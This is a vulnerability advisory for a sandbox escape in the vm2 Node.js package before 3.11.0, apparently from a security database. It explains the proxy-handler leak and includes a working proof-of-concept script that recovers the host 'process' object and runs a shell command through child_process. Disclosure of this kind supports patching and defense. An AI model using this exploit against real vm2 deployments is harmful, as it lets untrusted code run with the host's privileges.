Arbitrary Code Injection Affecting vm2 package, versions <3.11.0

vm2 is a sandbox that can run untrusted code with whitelisted Node's built-in modules.

Affected versions of this package are vulnerable to Arbitrary Code Injection through the proxy trap methods in createBridge in the bridge handler code. An attacker can leak a handler using util.inspect({showProxy:true}) and invoke its trap methods directly with a forged target, then walk the host prototype chain to recover privileged symbols and achieve code execution. This enables sandbox escape and lets untrusted code execute with the privileges of the host process.

let obj = {
    subarray: Buffer.prototype.inspect,
    slice: Buffer.prototype.slice,
    hexSlice: () => '',
};

let sym;

obj.slice(10, {
    showHidden: true,
    showProxy: true,
    depth: 10,
    stylize(a) {
        const handler = this.seen && this.seen[1];

        if (handler && handler.getPrototypeOf) {
            gP = handler.getPrototypeOf;
            HObjectProto = gP(gP(gP(gP(Buffer))));
            HObject = HObjectProto.constructor;
            sym = HObject.getOwnPropertySymbols(Buffer.prototype).at(0);
        }
        return a;
    },
});

obj = {
    [sym]: (depth, opt, inspect) => {
        inspect.constructor('return process')()
        .getBuiltinModule('child_process')
        .execSync('id', { stdio: 'inherit' });
    },
    valueOf: undefined,
    constructor: undefined,
};

WebAssembly.compileStreaming(obj).catch(() => {});

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